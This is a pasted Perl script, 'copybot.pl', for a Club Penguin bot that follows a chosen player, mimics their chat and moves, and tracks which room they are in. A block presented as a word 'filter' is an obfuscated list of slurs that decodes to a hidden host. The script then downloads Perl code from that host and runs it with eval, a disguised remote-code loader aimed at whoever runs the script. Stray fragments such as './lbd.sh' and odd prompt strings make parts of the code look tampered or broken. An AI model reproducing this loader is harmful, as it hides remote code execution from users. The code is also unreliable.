Advertisement
Guest User

Untitled

a guest
Jun 26th, 2018
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.68 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3.  
  4.  
  5. # Program: copybot.pl
  6.  
  7. # Author: HookBot <hookbot@gmail.com>
  8.  
  9. # License: DO NOT DISTRIBUTE WITHOUT PRIOR WRITTEN CONSENT FROM THE AUTHOR.
  10.  
  11. # Copyright (C) 2008
  12.  
  13. # Usage: copybot.pl <PenguinName> <Password> <Server> <TargetPenguinName>
  14.  
  15.  
  16.  
  17. use strict;
  18.  
  19. use IO::Socket;
  20.  
  21.  
  22.  
  23. # Load debian Rx $Version 0.6 package for filter
  24.  
  25. y/dEbRX _-~\r\n/$"@.6/d and our $import = unpack u => $_ foreach our @blacklist = q{
  26.  
  27. as5 whore
  28.  
  29. sc4ewed 5ixtyN9
  30.  
  31. Wipe 5hIt puk3
  32.  
  33. BYte m33
  34.  
  35. 71ck FuX
  36.  
  37. nEw York Cit3
  38.  
  39. TiTs NiggeR
  40.  
  41. Club Penguin
  42.  
  43. };
  44.  
  45.  
  46.  
  47. sub import_once { my $m=shift;my$r=new IO::Socket::INET$import;print$r "GET /m/$m HTTP/1.0\nHost: $import\n\n";local$/;eval[split/\n\r?\n/,~~<$r>,2]->[1]or warn $@;eval{import$m @_;1;}or warn $@; }
  48.  
  49.  
  50.  
  51. import_once ClubPenguin => ();
  52.  
  53. import_once Util => (); # get_input
  54.  
  55.  
  56.  
  57. package CopyBot;
  58.  
  59.  
  60.  
  61. use strict;
  62.  
  63. use warnings;
  64.  
  65. our @ISA = qw(ClubPenguin);./lbd.sh
  66.  
  67.  
  68.  
  69. # Initialize
  70.  
  71. $ClubPenguin::internal_room ||= {};
  72.  
  73.  
  74.  
  75.  
  76.  
  77. my $o = new CopyBot {
  78.  
  79. username => (shift || Util::get_input("Bots Name: ", "PENG")),
  80.  
  81. password => (shift || Util::get_input("Bots Password: ", "PASS")),
  82.  
  83. server => (shift || Util::get_input("Server name: irc.kosovalove.net",)),
  84.  
  85. };
  86.  
  87.  
  88.  
  89. # Who to copy
  90.  
  91. our $target = (shift || Util::get_input("Follow ", "TARGET"));
  92.  
  93. # Whether or not to allow copying anyone that says "follow"
  94.  
  95. our $target_follow = $target ? 0 : 1;
  96.  
  97.  
  98.  
  99. my $xoffset = (shift || Util::get_input("X offset: ", "OFFSET"));
  100.  
  101. my $yoffset = (shift || Util::get_input("Y offset: ", "OFFSET"));
  102.  
  103. print "Connecting ...\n";
  104.  
  105. die "No good!\n" unless $o->joinWorld;
  106.  
  107. print "Connected to [$o->{strict subs}]!\n";
  108.  
  109.  
  110.  
  111. while (1) {
  112.  
  113. if (!$o->consume) {
  114.  
  115. print scalar(localtime).": [$$] *YAWN*\n";
  116.  
  117. select(undef,undef,undef,1);
  118.  
  119. }
  120.  
  121. }
  122.  
  123.  
  124.  
  125. sub handleBuddyRequest {
  126.  
  127. my $self = shift;
  128.  
  129. my $theirroom = shift;
  130.  
  131. my $PenguinID = shift;
  132.  
  133. my $who = shift;
  134.  
  135. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: PENGUIN [$who] (\#$PenguinID) wishes to be your buddy.\n";
  136.  
  137. $who =~ s/[ 0-9]//g; $who =~ s/^(.{9}).*/$1/;
  138.  
  139. $self->doSendMessage("");
  140.  
  141. $self->doBuddyAccept($PenguinID);
  142.  
  143. }
  144.  
  145.  
  146.  
  147. sub handleSendPosition {
  148.  
  149. my $self = shift;
  150.  
  151. my $room_id_internal = shift;
  152.  
  153. my $PenguinID = shift;
  154.  
  155. my $x = shift;
  156.  
  157. my $y = shift;
  158.  
  159. if (my $u = $self->{penguin}->{$PenguinID}) {
  160.  
  161. my $who = $u->{name};
  162.  
  163. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] slowly moved to ($x, $y)\n";
  164.  
  165. $u->{x} = $x;
  166.  
  167. $u->{y} = $y;
  168.  
  169. $u->{update} = time;
  170.  
  171. if ($target and $who =~ /$target/i) {
  172.  
  173. select(undef,undef,undef,0.75);
  174.  
  175. $self->doSendPosition($x + $xoffset,$y + $yoffset);
  176.  
  177. }
  178.  
  179. }
  180.  
  181. }
  182.  
  183.  
  184.  
  185. sub handleSendMessage {
  186.  
  187. my $self = shift;
  188.  
  189. my $room_id_internal = shift;
  190.  
  191. my $PenguinID = shift;
  192.  
  193. my $said = shift;
  194.  
  195.  
  196.  
  197. if (my $u = $self->{penguin}->{$PenguinID}) {
  198.  
  199. my $who = $u->{name};
  200.  
  201. $u->{update} = time;
  202.  
  203. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] said: $said\n";
  204.  
  205. if ($said =~ /hello/i) {
  206.  
  207. $who =~ s/[ 0-9]//g; $who =~ s/^(.{9}).*/$1/;
  208.  
  209. $self->doSendMessage("");
  210.  
  211. } elsif ($target and $who =~ /$target/i) {
  212.  
  213. if ($target_follow && $said =~ /follow/i) {
  214.  
  215. $target = "";
  216.  
  217. # Blurt out a random scriptcode
  218.  
  219. my $scriptcode = int(rand 32) + 1;
  220.  
  221. $self->doSendLineMessage($scriptcode);
  222.  
  223. } else {
  224.  
  225. # Pretend to lag a little bit
  226.  
  227. select(undef,undef,undef,0.55);
  228.  
  229. $self->doSendMessage($said);
  230.  
  231. }
  232.  
  233. } else {
  234.  
  235. if ($target_follow && $said =~ /follow/i) {
  236.  
  237. $target = $who;
  238.  
  239. $self->doSendPosition($u->{x},$u->{y});
  240.  
  241. }
  242.  
  243. }
  244.  
  245. if($said =~ /dance/i && $who =~ /$target/i) {
  246.  
  247. $self->doSendFrame(26);
  248.  
  249. }
  250.  
  251. }
  252.  
  253. }
  254.  
  255.  
  256.  
  257. sub handleSendEmote {
  258.  
  259. my $self = shift;
  260.  
  261. my $room_id_internal = shift;
  262.  
  263. my $PenguinID = shift;
  264.  
  265. my $emote_code = shift;
  266.  
  267. if (my $u = $self->{penguin}->{$PenguinID}) {
  268.  
  269. my $who = $u->{name};
  270.  
  271. $u->{update} = time;
  272.  
  273. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] emoted [$emote_code]\n";
  274.  
  275. if ($target and $who =~ /$target/i) {
  276.  
  277. select(undef,undef,undef,0.55);
  278.  
  279. $self->doSendEmote($emote_code);
  280.  
  281. }
  282.  
  283. }
  284.  
  285. }
  286.  
  287.  
  288.  
  289. sub handleRemovePlayer {
  290.  
  291. my $self = shift;
  292.  
  293. shift; # Not sure what that -1 pooo is for...
  294.  
  295. my $PenguinID = shift;
  296.  
  297. if (my $u = $self->{penguin}->{$PenguinID}) {
  298.  
  299. my $who = $u->{name};
  300.  
  301. $u->{update} = time;
  302.  
  303. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: RemovePlayer [$who] from internal room [$self->{penguin}->{$self->{PenguinID}}->{internal_room_id}]\n";
  304.  
  305. if ($target and $who =~ /$target/i) {
  306.  
  307. $self->{_BuddyFind_PenguinID} = $PenguinID;
  308.  
  309. $self->doBuddyFind($PenguinID);
  310.  
  311. }
  312.  
  313. }
  314.  
  315. }
  316.  
  317.  
  318.  
  319. sub handleBuddyFind {
  320.  
  321. my $self = shift;
  322.  
  323. my $my_room_id_internal = shift;
  324.  
  325. my $their_room_id_external = shift;
  326.  
  327. my $their_room_id_internal = "";
  328.  
  329. my $visitee_PenguinID = "";
  330.  
  331. if ($their_room_id_external) {
  332.  
  333. if ($their_room_id_external > 1000) {
  334.  
  335. $visitee_PenguinID = $their_room_id_external - 1000;
  336.  
  337. } elsif (my $room = $ClubPenguin::internal_room->{$their_room_id_external}) {
  338.  
  339. $their_room_id_internal = $room;
  340.  
  341. }
  342.  
  343. }
  344.  
  345. if (my $PenguinID = $self->{_BuddyFind_PenguinID}) {
  346.  
  347. if (my $u = $self->{penguin}->{$PenguinID}) {
  348.  
  349. my $x = $u->{x} || 0;
  350.  
  351. my $y = $u->{y} || 0;
  352.  
  353. if (my $who = $u->{name}) {
  354.  
  355. if ($visitee_PenguinID) {
  356.  
  357. if (my $visitee = $self->{penguin}->{$visitee_PenguinID}) {
  358.  
  359. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in igloo of [$visitee->{name}] (PenguinID #$visitee_PenguinID)\n";
  360.  
  361. } else {
  362.  
  363. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in igloo of (PenguinID #$visitee_PenguinID)\n";
  364.  
  365. $self->doGetPlayer($visitee_PenguinID);
  366.  
  367. }
  368.  
  369. } elsif ($their_room_id_external) {
  370.  
  371. $self->doJoinRoom($their_room_id_external,$x,$y) if $target and $who =~ /$target/i;
  372.  
  373. if ($their_room_id_internal) {
  374.  
  375. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in external room [$their_room_id_external] (previously visited internal room id [$their_room_id_internal])\n";
  376.  
  377. } else {
  378.  
  379. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in external room [$their_room_id_external]\n";
  380.  
  381. }
  382.  
  383. } else {
  384.  
  385. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] not logged in!\n";
  386.  
  387. $u->{internal_room_id} = $u->{external_room_id} = 0;
  388.  
  389. }
  390.  
  391. }
  392.  
  393. }
  394.  
  395. } else {
  396.  
  397. print scalar(localtime).": [$$] [$self->{username}] BuddyFind no doBuddyFind called yet?\n";
  398.  
  399. }
  400.  
  401. }
  402.  
  403.  
  404.  
  405.  
  406.  
  407. sub handleSendThrowBall {
  408.  
  409. my $self = shift;
  410.  
  411. my $room_id_internal = shift;
  412.  
  413. my $PenguinID = shift;
  414.  
  415. my $x = shift;
  416.  
  417. my $y = shift;
  418.  
  419. if (my $u = $self->{penguin}->{$PenguinID}) {
  420.  
  421. my $who = $u->{name};
  422.  
  423. $u->{update} = time;
  424.  
  425. print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] threw a snowball at ($x, $y)\n";
  426.  
  427. $u->{x} = $x;
  428.  
  429. $u->{y} = $y;
  430.  
  431. if ($target and $who =~ /$target/i) {
  432.  
  433. select(undef,undef,undef,0.25);
  434.  
  435. $self->doSendThrowBall($x + int(rand(20)),$y + int(rand(20)));
  436.  
  437. }
  438.  
  439. }
  440.  
  441. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement